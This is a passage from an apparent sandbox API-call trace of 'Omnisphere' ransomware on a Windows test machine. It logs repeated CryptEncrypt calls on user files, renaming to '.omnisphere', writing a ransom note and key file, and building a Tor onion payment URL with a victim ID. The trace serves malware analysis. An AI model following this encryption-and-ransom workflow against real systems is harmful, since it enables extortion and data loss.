pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.085] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.086] CryptDestroyKey (hKey=0x1639b68) returned 1 [0063.086] CryptReleaseContext (hProv=0x163c0e0, dwFlags=0x0) returned 1 [0063.086] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x5a3d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.086] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.087] GetProcessHeap () returned 0x1600000 [0063.087] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x282) returned 0x1652228 [0063.087] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\acolqjulnxmql.gif"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\acolqjulnxmql.gif.omnisphere")) returned 1 [0063.087] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif.omnisphere.id" [0063.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\acolqjulnxmql.gif.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.088] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.089] CloseHandle (hObject=0x3a8) returned 1 [0063.090] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0063.091] CloseHandle (hObject=0x3a4) returned 1 [0063.091] SetEndOfFile (hFile=0x3a0) returned 1 [0063.091] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.094] CloseHandle (hObject=0x3a0) returned 1 [0063.095] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.095] GetProcessHeap () returned 0x1600000 [0063.095] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1652ce0 [0063.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.095] GetProcessHeap () returned 0x1600000 [0063.095] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641b60 [0063.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641b60, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.095] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.095] GetProcessHeap () returned 0x1600000 [0063.095] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fb50 [0063.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fb50, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.095] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.095] GetProcessHeap () returned 0x1600000 [0063.095] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163bfd0 [0063.095] PathCombineW (in: pszDest=0x163bfd0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.096] GetProcessHeap () returned 0x1600000 [0063.096] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1654ff8 [0063.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.096] WriteFile (in: hFile=0x3a0, lpBuffer=0x1654ff8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1654ff8*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.096] CloseHandle (hObject=0x3a0) returned 1 [0063.096] GetProcessHeap () returned 0x1600000 [0063.096] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1652ce0 | out: hHeap=0x1600000) returned 1 [0063.096] GetProcessHeap () returned 0x1600000 [0063.096] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fc80 [0063.096] PathCombineW (in: pszDest=0x163fc80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.097] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.097] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.097] CloseHandle (hObject=0x3a0) returned 1 [0063.097] GetProcessHeap () returned 0x1600000 [0063.097] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fc80 | out: hHeap=0x1600000) returned 1 [0063.097] GetProcessHeap () returned 0x1600000 [0063.097] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fe80 | out: hHeap=0x1600000) returned 1 [0063.097] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xed, cFileName="Adobe", cAlternateFileName="")) returned 1 [0063.097] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40cd7010, ftCreationTime.dwHighDateTime=0x1d4cf6c, ftLastAccessTime.dwLowDateTime=0x6f76ac80, ftLastAccessTime.dwHighDateTime=0x1d4d2bc, ftLastWriteTime.dwLowDateTime=0x6f76ac80, ftLastWriteTime.dwHighDateTime=0x1d4d2bc, nFileSizeHigh=0x0, nFileSizeLow=0xb9f7, dwReserved0=0x0, dwReserved1=0xed, cFileName="dFw90W0ozbqlw.mkv", cAlternateFileName="DFW90W~1.MKV")) returned 1 [0063.097] GetProcessHeap () returned 0x1600000 [0063.098] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f300 [0063.098] PathCombineW (in: pszDest=0x163f300, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="dFw90W0ozbqlw.mkv" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv" [0063.098] StrStrW (lpFirst=".omnisphere", lpSrch=".mkv") returned 0x0 [0063.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dFw90W0ozbqlw.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dfw90w0ozbqlw.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.098] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=47607) returned 1 [0063.098] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xb4d3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.098] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.098] GetTickCount () returned 0x1150173 [0063.098] GetTickCount () returned 0x1150173 [0063.098] GetTickCount () returned 0x1150173 [0063.098] GetTickCount () returned 0x1150173 [0063.098] GetTickCount () returned 0x1150173 [0063.098] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.099] GetTickCount () returned 0x1150173 [0063.100] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c5a8) returned 1 [0063.100] CryptImportKey (in: hProv=0x163c5a8, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639b68) returned 1 [0063.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.100] CryptDestroyKey (hKey=0x1639b68) returned 1 [0063.100] CryptReleaseContext (hProv=0x163c5a8, dwFlags=0x0) returned 1 [0063.101] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9f7, lpName=0x0) returned 0x3a4 [0063.101] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb9f7) returned 0x3430000 [0063.101] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163bca0) returned 1 [0063.102] CryptImportKey (in: hProv=0x163bca0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639ae8) returned 1 [0063.102] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.102] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.102] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.102] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.102] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.102] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.102] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.102] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.102] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.102] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 